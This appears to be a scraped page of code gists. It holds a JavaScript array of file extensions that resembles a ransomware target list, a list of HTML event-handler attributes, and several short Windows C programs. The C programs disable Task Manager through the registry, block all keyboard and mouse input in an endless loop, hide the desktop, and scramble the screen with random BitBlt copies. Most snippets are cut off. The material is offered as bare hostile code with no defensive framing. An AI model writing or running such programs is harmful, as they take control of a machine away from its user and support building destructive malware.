This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fileExtensions = [ | |
".c", ".cc", ".cpp", ".h", ".hpp", ".asm", ".as", ".bat", ".b", ".css", ".d", ".ino", ".erl", ".fsharp", ".fsi", ".fsscript", ".sh", ".fs", ".go", ".hs", ".java", ".js", ".jar", ".kt", ".kts", ".cs", ".lisp", ".lsp", ".cl", ".l", ".fasl", ".html", ".htm", ".htaccess", ".lua", ".pascal", ".php", ".R", ".rs", ".rlib", ".sass", ".ts", ".py", ".ps1", ".sql", ".swift", | |
".7z", ".rar", ".zip", | |
".wav", ".avi", ".mov", ".mp3", ".mp4", ".mpeg", ".png", ".jpg", ".jpeg", ".bmp", ".tiff", ".gif", | |
".pdf", ".doc", ".docx", ".docm", ".xls",".xlsx", ".ppt", ".pptx", ".csv", | |
".exe", ".com", ".hta", ".run", ".msi", ".ppt", ".txt", ".rtf", ".bin", ".asp", ".git", ".mid", ".midi", ".ogg", ".wma", ".wml", ".aif", ".cda", | |
".arj", ".deb", ".pkg", ".rpm", ".z", ".dmg", ".iso", ".toast", ".vcd", ".dat", ".db", ".dbf", ".log", ".mdb", ".sql", ".tar", ".xml", ".oft", ".ost", ".apk", | |
".pl", ".ttf", ".svg", ".xhtml", ".ico", ".dll", ".ini", ".inf", ".lnk", ".dmp", ".sys", ".bak", ".tex", ".odt" | |
]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let htmlAtts = { | |
aAtts: ["download", "href", "hreflang", "media", "ping", "referrerpolicy", "rel", "target", "type", "onblur", "onchange", "oncontextmenu", "onfocus", "oninput", "oninvalid", "onreset", "onsearch", "onselect", "onsubmit", "onkeydown", "onkeypress", "onkeyup", "onclick", "ondblclick", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onwheel", "ondrag", "ondragend", "ondragenter", "ondragleave", "ondragover", "ondragstart", "ondrop", "onscroll", "oncopy", "oncut", "onpaste", "onabort", "oncanplay", "oncanplaythrough", "oncuechange", "ondurationchange", "onemptied", "onended", "onerror", "onloadeddata", "onloadedmetadata", "onloadstart", "onpause", "onplay", "onplaying", "onprogress", "onratechange", "onseeked", "onseeking", "onstalled", "onsuspend", "ontimeupdate", "onvolumechange", "onwaiting", "ontoggle", "accesskey", "class", "contenteditable", "data-*", "dir", "draggable", "dropzone", "hidden", "id", "lang", "spellcheck", "style", "tabindex", "title", "translate"], |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
int main() { | |
FreeConsole(); | |
HKEY hKey; | |
const char *czName = "DisableTaskMgr"; | |
const char *czVal = "1"; | |
LONG retVal = RegCreateKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, REG_OPTION_NON_VOLATILE, | |
KEY_WRITE, NULL, &hKey, NULL); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
int main() { | |
HDC hdc = GetDC(HWND_DESKTOP); | |
int X = GetSystemMetrics(SM_CXSCREEN); | |
int Y = GetSystemMetrics(SM_CYSCREEN); | |
while(TRUE) | |
{ | |
BitBlt(hdc, rand() % (X - 0), rand() % (Y - 0), rand() % (X - 0), rand() % (Y - 0), hdc, rand() % (X - 0), rand() % (Y - 0), SRCCOPY); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <winable.h> | |
int main() { | |
FreeConsole(); | |
while(1) { BlockInput(TRUE); } | |
return EXIT_SUCCESS; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
int main() { | |
FreeConsole(); | |
HWND hWnd = FindWindow(0, "Program Manager"); | |
ShowWindow(hWnd, SW_HIDE); | |
MessageBox(NULL, "Press OK when ready.", "Confirmation", MB_ICONQUESTION | MB_OK); | |
ShowWindow(hWnd, SW_SHOW); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
int main() { | |
int inc; | |
int sw = GetSystemMetrics(SM_CXSCREEN); | |
int sh = GetSystemMetrics(SM_CYSCREEN); | |
while(1) | |
{ | |
inc++; |